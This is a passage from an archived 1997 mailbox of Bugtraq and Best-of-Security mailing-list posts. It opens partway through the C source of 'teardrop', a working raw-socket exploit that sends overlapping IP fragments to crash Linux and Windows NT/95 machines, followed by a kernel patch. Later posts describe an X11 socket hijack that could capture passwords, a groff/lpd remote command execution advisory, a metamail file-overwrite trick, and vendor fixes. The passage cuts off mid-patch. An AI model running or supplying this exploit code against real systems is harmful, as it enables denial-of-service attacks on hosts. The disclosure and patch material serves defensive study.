fprintf(stderr, "teardrop route|daemon9\n\n");
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}
if (argc < 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; /* NOTREACHED */
}
}
srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;
fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}
/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/
void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */
if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
/* EOF */
------[End] -- Guby Linux ----------------------------------------------------
And the patch:
------[Begin] -- Helu Linux -------------------------------------------------
--- ip_fragment.c Mon Nov 10 14:58:38 1997
+++ ip_fragment.c.patched Mon Nov 10 19:18:52 1997
@@ -12,6 +12,7 @@
* Alan Cox : Split from ip.c , see ip_input.c for history.
* Alan Cox : Handling oversized frames
* Uriel Maimon : Accounting errors in two fringe cases.
+ * route : IP fragment overlap bug
*/
#include <linux/types.h>
@@ -578,6 +579,22 @@
frag_kfree_s(tmp, sizeof(struct ipfrag));
}
}
+
+ /*
+ * Uh-oh. Some one's playing some park shenanigans on us.
+ * IP fragoverlap-linux-go-b00m bug.
+ * route 11.3.97
+ */
+
+ if (offset > end)
+ {
+ skb->sk = NULL;
+ printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
+ kfree_skb(skb, FREE_READ);
+ ip_statistics.IpReasmFails++;
+ ip_free(qp);
+ return NULL;
+ }
/*
* Insert this fragment in the chain of fragments.
------[End] -- Helu Linux ----------------------------------------------------
EOF
--
Corporate
Persuasion
Through
Internet
Terrorism.
Return-Path: <owner-bugtraq@NETSPACE.ORG>
Delivered-To: admin@skyway.ru
Received: (qmail 21453 invoked from network); 14 Nov 1997 09:46:48 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 14 Nov 1997 09:46:48 -0000
Received: by scylla.sovam.com id AA23906
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Fri, 14 Nov 1997 10:53:45 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA22923
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Fri, 14 Nov 1997 10:46:17 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id MAA02043
for <mc@CONJURER.TYUMEN.RU>; Fri, 14 Nov 1997 12:45:16 +0500 (ES)
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97629-20254>; Fri, 14 Nov 1997 01:33:31 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5637326 for BUGTRAQ@NETSPACE.ORG; Fri, 14 Nov 1997 01:29:23
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
BAA02293 for <BUGTRAQ@NETSPACE.ORG>; Fri, 14 Nov 1997 01:16:43 -0500
Received: from unknown@netspace.org (port 25452 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80964-20255>; Fri, 14 Nov 1997
01:16:43 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from runaway.xs4all.nl (runaway.xs4all.nl [194.109.13.237]) by
netspace.org (8.8.7/8.8.2) with ESMTP id UAA32436 for
<BUGTRAQ@NETSPACE.ORG>; Thu, 13 Nov 1997 20:28:47 -0500
Received: from jolan.xs4all.nl (jolan [192.168.1.2]) by runaway.xs4all.nl
(8.8.5/8.8.5) with ESMTP id CAA01069 for <BUGTRAQ@NETSPACE.ORG>; Fri,
14 Nov 1997 02:15:55 +0100
Received: (from carlo@localhost) by jolan.xs4all.nl (8.8.5/8.8.5) id CAA09289
for BUGTRAQ@NETSPACE.ORG; Fri, 14 Nov 1997 02:13:22 +0100
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
Message-Id: <199711140113.CAA09289@jolan.xs4all.nl>
Date: Fri, 14 Nov 1997 02:13:22 +0100
Reply-To: Carlo Wood <carlo@RUNAWAY.XS4ALL.NL>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Carlo Wood <carlo@RUNAWAY.XS4ALL.NL>
Subject: X Security problem (?)
To: BUGTRAQ@NETSPACE.ORG
Status:
X-PMFLAGS: 34078848 0
Hi,
this isn't an exploit - I let others write that ;) (don't
have time for that).
But five minutes ago I found something that might be abused:
On my (RedHat4.2) linux box, I find:
/tmp/.X11-unix/X0=
A UNIX domain socket of the X server I assume.
The permissions are:
drwxrwxrwt 3 root root 1024 Nov 14 01:38 /tmp/
drwxrwxrwx 2 root users 1024 Nov 14 01:56 /tmp/.X11-unix/
srwxrwxrwx 1 root users 0 Nov 13 23:09 X0
So, as any user (I did it as 'nobody'), I can do:
rm /tmp/.X11-unix/X0
After which X doesn't work anymore (can't open a new terminal).
I can also do:
cd /tmp/.X11-unix
mv X0 Y0
(can't open an xterm)
mv Y0 X0
(everything works again).
Now I didn't test the following, but doesn't this mean that I can
- as nobody - mv X0 Y0; open a new X0 socket and start to accept
connections, piping everything to Y0, reading everything people
type, like passwords when they use 'su' ? ...
Carlo Wood
PS This is my first post, so I expect to make a terrible error
here somehow ;). If so, I hope the moderator will simply
refuse the post.
--
carlo@runaway.xs4all.nl, Run @ IRC.
ircd development: http://www.xs4all.nl/~carlo17/ircd-dev
Return-Path: <owner-bugtraq@NETSPACE.ORG>
Delivered-To: admin@skyway.ru
Received: (qmail 27237 invoked from network); 16 Nov 1997 05:31:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 05:31:35 -0000
Received: by scylla.sovam.com id AA16816
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sun, 16 Nov 1997 07:59:18 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA16811
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sun, 16 Nov 1997 07:58:12 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id JAA11517
for <mc@CONJURER.TYUMEN.RU>; Sun, 16 Nov 1997 09:57:59 +0500 (ES)
Received: from unknown@netspace.org (port 19556 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97319-29935>; Sat, 15 Nov 1997 23:20:52 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5674072 for BUGTRAQ@NETSPACE.ORG; Sat, 15 Nov 1997 23:20:01
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
XAA20839 for <BUGTRAQ@NETSPACE.ORG>; Sat, 15 Nov 1997 23:19:24 -0500
Received: from unknown@netspace.org (port 19556 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <80657-29937>; Sat, 15 Nov 1997
23:19:19 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from dfw.dfw.net (DFW.DFW.NET [198.175.15.10]) by netspace.org
(8.8.7/8.8.2) with SMTP id VAA08145 for <bugtraq@netspace.org>; Sat,
15 Nov 1997 21:32:41 -0500
Received: from localhost by dfw.dfw.net (4.1/SMI-4.1) id AA19752; Sat, 15 Nov
97 20:35:07 CST
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.SUN.3.94.971115203440.19730A-100000@dfw.dfw.net>
Date: Sat, 15 Nov 1997 20:35:07 -0600
Reply-To: Aleph One <aleph1@DFW.NET>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: Aleph One <aleph1@DFW.NET>
Subject: pentium f00f crash and IP fragment bug crash fixes...
To: BUGTRAQ@NETSPACE.ORG
Status:
X-PMFLAGS: 34078848 0
---------- Forwarded message ----------
Date: Sat, 15 Nov 1997 10:10:51 -0500 (EST)
From: Greg Alexander <galexand@sietch.bloomington.in.us>
To: linux-alert@redhat.com, linux-security@redhat.com
Subject: [linux-security] pentium f00f crash and IP fragment bug crash fixes...
these are both fixed in 2.0.32-pre4 and 2.1.63. The 2.0.32-pre4 stuff seems
very solid, though the f00f bug fix is not proper for SMP machines yet. It
looks like 2.0.32-pre5 fixes the f00f bug on SMP machines properly. All of
these are available on ftp.kernel.org:
ftp://ftp.kernel.org/pub/linux/kernel/testing/pre-patch-2.0.32-5.gzftp://ftp.kernel.org/pub/linux/kernel/v2.1/linux-2.1.63.tgz
Greg Alexander - also <gralexan@indiana.edu> - http://sietch.home.ml.org/
----
Something not being where it should be does not necessitate it being where
it doesn't belong.
-- Really freakin obvious
--
----------------------------------------------------------------------
Please refere to the information about this list as well as general
information about Linux security at http://www.aoy.com/Linux/Security.
----------------------------------------------------------------------
To unsubscribe: mail -s unsubscribe test-list-request@redhat.com < /dev/null
Return-Path: <best-of-security-request@cyber.com.au>
Delivered-To: admin@skyway.ru
Received: (qmail 1998 invoked from network); 15 Nov 1997 01:01:34 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 01:01:34 -0000
Received: by scylla.sovam.com id AA21665
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sat, 15 Nov 1997 01:04:38 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA21531
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sat, 15 Nov 1997 01:00:25 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id CAA17662
for <mc@conjurer.tyumen.ru>; Sat, 15 Nov 1997 02:59:53 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id IAA22936;
Sat, 15 Nov 1997 08:37:53 +1100 (EST)
Resent-Date: Sat, 15 Nov 1997 08:37:53 +1100 (EST)
Delivered-To: mc@conjurer.tyumen.ru
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.LNX.3.95.971026011731.5324A-100000@flash.thrijswijk.nl>
Date: Sun, 26 Oct 1997 01:19:05 +0200
Reply-To: Raymond Dijkxhoorn <raymond@THRIJSWIJK.NL>
Sender: avalon@cyber.com.au
From: Raymond Dijkxhoorn <raymond@THRIJSWIJK.NL>
Old-X-Originally-To: To: BUGTRAQ@NETSPACE.ORG
Old-X-Originated-From: From: Raymond Dijkxhoorn <raymond@THRIJSWIJK.NL>
Resent-Message-Id: <"0YSaPD.A.ptF.15Db0"@plum>
X-Loop: best-of-security@cyber.com.au
Errors-To: best-of-security-request@cyber.com.au
Precedence: list
Resent-Sender: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au
X-Mailing-List: <best-of-security@cyber.com.au> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request@cyber.com.au with Subject: unsubscribe
Subject: BoS: SECURITY: metamail update (fwd)
Status:
X-PMFLAGS: 34078848 0
Hi!
The fix for the metamail on RedHat was not properly builded, see below,
fix is also online allready...
Bye,
Raymond Dijkxhoorn
Technische Hogeschool Rijswijk
-----BEGIN PGP SIGNED MESSAGE-----
The metamail fix announced yesterday was not built properly. Please
upgrade to metamail-2.7-7.2 as soon as possible. Thanks to
Andrey V. Savochkin for noticing this, and pointing it out.
Erik
Red Hat 4.2
- -------------
i386:
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/metamail-2.7-7.2.i386.rpm
alpha:
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/metamail-2.7-7.2.alpha.rpm
SPARC:
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/metamail-2.7-7.2.sparc.rpm
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBNFH+Q6Ug6PHLopv5AQFefgP+JqM88NcG6w+2JNbxEUg7QQ2Zc2TyUV6w
GvB39YcKyWS35+fZLE1vX+ropmzdqYtWDq1vkoQPNY466XUycwuvcz6+4yHZUtRH
J6dsHo0vg9svToPNgefE7c1nwvy0y6ZRwgKwyI12OjUptUXKEb7VnfsGd5Q/PdyF
vgKY6vaPeTE=
=/dkb
-----END PGP SIGNATURE-----
Return-Path: <best-of-security-request@cyber.com.au>
Delivered-To: admin@skyway.ru
Received: (qmail 2000 invoked from network); 15 Nov 1997 01:01:34 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 01:01:34 -0000
Received: by scylla.sovam.com id AA24028
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sat, 15 Nov 1997 01:50:15 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA23900
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sat, 15 Nov 1997 01:47:13 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id DAA20022
for <mc@conjurer.tyumen.ru>; Sat, 15 Nov 1997 03:46:39 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id JAA29634;
Sat, 15 Nov 1997 09:28:04 +1100 (EST)
Resent-Date: Sat, 15 Nov 1997 09:28:04 +1100 (EST)
Delivered-To: mc@conjurer.tyumen.ru
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.LNX.3.95.971025081547.9877A-100000@ogbanje.dec.net>
Date: Sat, 25 Oct 1997 08:22:39 -0700
Reply-To: "KSR[T]" <ksrt@dec.net>
Sender: avalon@cyber.com.au
From: "KSR[T]" <ksrt@dec.net>
Old-X-Originally-To: To: BUGTRAQ@NETSPACE.ORG
Old-X-Originated-From: From: "KSR[T]" <ksrt@dec.net>
Resent-Message-Id: <"-QfQQB.A.zi.XqFb0"@plum>
X-Loop: best-of-security@cyber.com.au
Errors-To: best-of-security-request@cyber.com.au
Precedence: list
Resent-Sender: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au
X-Mailing-List: <best-of-security@cyber.com.au> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request@cyber.com.au with Subject: unsubscribe
Subject: BoS: KSR[T] Advisory #004: printfilter / groff / lpd
Status:
X-PMFLAGS: 34078848 0
-----
KSR[T] Website : http://www.dec.net/ksrt
E-mail: ksrt@dec.net
-----
KSR[T] Advisory #004
Date: Oct 6, 1997
ID #: lin-lpdg-004
Operating System(s): Redhat Linux 4.2
Affected Program: lpd / printfilter / groff
Problem Description: The printfilter software package that comes with
Redhat Linux is called by lpd to determine the type
of file that is being printed, and then to apply
the appropriate 'filter' so that the file will be
printed properly.
The 'filters' are usually shell scripts that call
a helper application. The first problem is that
some of these filters use /tmp as scratch space,
which opens up a symlink attack for file creation
and file overwriting. ( lpd is running as user bin,
group root )
The second problem is that a lot of the helper
applications were not built with security in mind.
One example of this is groff.
There are several troff/groff 'requests' that allow
commands to be executed. The result is that anyone
with a simple understanding of troff can send
a troff document to a remote server, causing the
remote server to execute arbitrary commands as
user bin, group root.
It is important to note that other operating systems
may use a print filter that will use applications
like troff. They are just as susceptible to attack as
the operating systems listed above.
Compromise: local users can overwrite files writable by user bin
and/or group root.
local and remote users can execute commands as user
bin, group root. From this point, a clever attacker
can obtain root.
Patch/Fix:
Erik Troan <ewt@redhat.com> has put updated RPMS online at:
ftp://ftp.redhat.com/updates/4.2/i386/groff-1.10-8.1.i386.rpmftp://ftp.redhat.com/updates/4.2/i386/rhs-printfilters-1.41.1-1.i386.rpm
Return-Path: <best-of-security-request@cyber.com.au>
Delivered-To: admin@skyway.ru
Received: (qmail 4358 invoked from network); 15 Nov 1997 03:16:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 03:16:35 -0000
Received: by scylla.sovam.com id AA00943
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sat, 15 Nov 1997 05:29:14 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA00939
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sat, 15 Nov 1997 05:28:30 +0300
Received: from plum.cyber.com.au (plum.cyber.com.au [203.7.155.24])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id HAA21285
for <mc@conjurer.tyumen.ru>; Sat, 15 Nov 1997 07:28:00 +0500 (ES)
Received: (from slist@localhost)
by plum.cyber.com.au (8.8.6/8.8.6) id NAA21031;
Sat, 15 Nov 1997 13:14:06 +1100 (EST)
Resent-Date: Sat, 15 Nov 1997 13:14:06 +1100 (EST)
Delivered-To: mc@conjurer.tyumen.ru
Content-Type: text
Message-Id: <m0xOrUi-0005FvC@lightning.swansea.linux.org.uk>
Date: Fri, 24 Oct 1997 22:42:11 +0100
Reply-To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Sender: avalon@cyber.com.au
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Old-X-Originally-To: To: BUGTRAQ@NETSPACE.ORG
Old-X-Originated-From: From: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
Resent-Message-Id: <"s34lBB.A.a4B.-7Kb0"@plum>
X-Loop: best-of-security@cyber.com.au
Errors-To: best-of-security-request@cyber.com.au
Precedence: list
Resent-Sender: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au
X-Mailing-List: <best-of-security@cyber.com.au> ftp://ftp.cyber.com.au/pub/archive/b-o-s/
X-Subscription: To unsubscribe from this fine mailing list mail best-of-security-request@cyber.com.au with Subject: unsubscribe
Subject: BoS: Vulnerability in metamail
Status:
X-PMFLAGS: 33554560 0
Ok Im sure the topic "vulnerability in metamail" has those who've been near
the code at the very least unsuprised. The right things to do with metamail
are either
a) Use it as a course example on why not to write programs in sh
b) Throw it out and write it in C
For the moment however this one appears to be covered ok by using
uudecode's -o option to force the output file.
A couple of scripts in metamail (notably sun-audio-file) blindly uudecode
something assuming the filename will be reasonable. It does do things
in a /tmp dir but if you know someones home dir and bung in a full path
then suprise suprise it uudecodes where asked - so you can send people
sun-audio-file .rhosts for example.
It seems to be sufficient to change from
if (! $?METAMAIL_TMPDIR) then
set METAMAIL_TMPDIR=/tmp
endif
cd ${METAMAIL_TMPDIR}
uudecode < $1
audiotool audio-file
To use
uudecode <$1 -o audio-file
This isnt the only problem file tho.
This seems affect anybody using metamail - thats generally folks using Elm
and things like Andrew in some cases. Several Linux distributions ship
a metamail kit. A fix for Redhat 4.x is now available on ftp.redhat.com.
Alan
Return-Path: <owner-bugtraq@NETSPACE.ORG>
Delivered-To: admin@skyway.ru
Received: (qmail 27234 invoked from network); 16 Nov 1997 05:31:35 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 16 Nov 1997 05:31:35 -0000
Received: by scylla.sovam.com id AA12075
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sun, 16 Nov 1997 06:32:23 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA11972
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sun, 16 Nov 1997 06:30:25 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id IAA10928
for <mc@CONJURER.TYUMEN.RU>; Sun, 16 Nov 1997 08:30:10 +0500 (ES)
Received: from unknown@netspace.org (port 14944 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97644-29936>; Sat, 15 Nov 1997 21:11:02 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5670631 for BUGTRAQ@NETSPACE.ORG; Sat, 15 Nov 1997 21:10:02
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
VAA05426 for <BUGTRAQ@NETSPACE.ORG>; Sat, 15 Nov 1997 21:09:10 -0500
Received: from unknown@netspace.org (port 14944 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <97630-29936>; Sat, 15 Nov 1997
21:09:10 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from brickbat8.mindspring.com (brickbat8.mindspring.com
[207.69.200.11]) by netspace.org (8.8.7/8.8.2) with ESMTP id WAA18948
for <BUGTRAQ@NETSPACE.ORG>; Fri, 14 Nov 1997 22:53:20 -0500
Received: from bigbox (user-38lcb86.dialup.mindspring.com [209.86.45.6]) by
brickbat8.mindspring.com (8.8.5/8.8.5) with SMTP id WAA01177; Fri, 14
Nov 1997 22:53:15 -0500 (EST)
X-Sender: dleblanc@mindspring.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
References: <19971114060615.7021.qmail@resentment.infonexus.com>
<19971114060615.7021.qmail@resentment.infonexus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-Id: <3.0.3.32.19971114225231.00adb7c0@mindspring.com>
Date: Fri, 14 Nov 1997 22:52:31 -0500
Reply-To: David LeBlanc <dleblanc@MINDSPRING.COM>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: David LeBlanc <dleblanc@MINDSPRING.COM>
Subject: Re: Linux IP fragment overlap bug
X-To: Vadim Kolontsov <vadim@TVERSU.RU>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: <19971114190145.04515@tversu.ru>
Status:
X-PMFLAGS: 34078848 0
At 07:01 PM 11/14/97 +0300, Vadim Kolontsov wrote:
>Hi,
>On Thu, Nov 13, 1997 at 10:06:15PM -0800, G P R wrote:
>> Oh, by the way, NT/95 appear to have the bug also. Try sending 10 -
15 of
>> these fragment combos to an NT/95 machine.
> This bug doesn't fixed by Service Pack #3, but it seems like SP3 +
>"simply-tcp" patch fixes this bug (thanks for Serge Solopov, serj@portal.ru).
>It's funny - 'simply-tcp' was intended to fix another bug (see below).
It may be the previous icmp-fix (ssping) that fixes the problem. Oddly
enough, NT with no patches at all isn't vulnerable to this. I haven't
quite sorted out exactly where the problem starts and stops, but I do know
no patches and full patches aren't bothered by it.
David LeBlanc |Why would you want to have your desktop user,
dleblanc@mindspring.com |your mere mortals, messing around with a 32-bit
|minicomputer-class computing environment?
|Scott McNealy
Return-Path: <owner-bugtraq@NETSPACE.ORG>
Delivered-To: admin@skyway.ru
Received: (qmail 2007 invoked from network); 15 Nov 1997 01:01:40 -0000
Received: from scylla.sovam.com (194.67.2.97)
by sky.tyumen.dial.sovam.com with SMTP; 15 Nov 1997 01:01:40 -0000
Received: by scylla.sovam.com id AA20594
(5.67b8s3p1/IDA-1.5 for admin@skyway.ru); Sat, 15 Nov 1997 00:30:51 +0300
Received: from conjurer.tyumen.ru by scylla.sovam.com with SMTP id AA20551
(5.67b8s3p1/IDA-1.5 for <admin@skyway.ru>); Sat, 15 Nov 1997 00:28:59 +0300
Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143])
by conjurer.tyumen.ru (8.8.5/8.8.5) with ESMTP id CAA17495
for <mc@CONJURER.TYUMEN.RU>; Sat, 15 Nov 1997 02:28:27 +0500 (ES)
Received: from unknown@netspace.org (port 17208 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <97543-22952>; Fri, 14 Nov 1997 14:37:10 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c) with
spool id 5655155 for BUGTRAQ@NETSPACE.ORG; Fri, 14 Nov 1997 14:36:01
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
OAA16303 for <BUGTRAQ@NETSPACE.ORG>; Fri, 14 Nov 1997 14:35:28 -0500
Received: from unknown@netspace.org (port 17208 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96904-22951>; Fri, 14 Nov 1997
14:35:31 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from resentment.infonexus.com (resentment.infonexus.com
[207.171.209.38]) by netspace.org (8.8.7/8.8.2) with SMTP id OAA11688
for <bugtraq@netspace.org>; Fri, 14 Nov 1997 14:05:50 -0500
Received: (qmail 10264 invoked by uid 501); 14 Nov 1997 19:06:23 -0000
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Message-Id: <19971114190623.10263.qmail@resentment.infonexus.com>
Date: Fri, 14 Nov 1997 11:06:23 -0800
Reply-To: route@RESENTMENT.INFONEXUS.COM
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: G P R <route@RESENTMENT.INFONEXUS.COM>
Subject: The Linux patch.
To: BUGTRAQ@NETSPACE.ORG
Status:
X-PMFLAGS: 34078848 0
Regarding the Linux IP fragment problem/exploit/patch:
People have been mailing me, indicating that the patchfile doesn't work.
Apparently, in posting it, some additional whitespace got munged in
there.
To combat this, try:
cp patchfile /usr/src/linux/net/ipv4
cd /usr/src/linux/net/ipv4
patch -l < patchfile
The patch was diffed against against a 2.0.31 kernel. It should work
on earlier 2.0.x kernels with no problem tho. If you missed it, here
it is again:
------[Begin] -- Helu Linux -------------------------------------------------
--- ip_fragment.c Mon Nov 10 14:58:38 1997
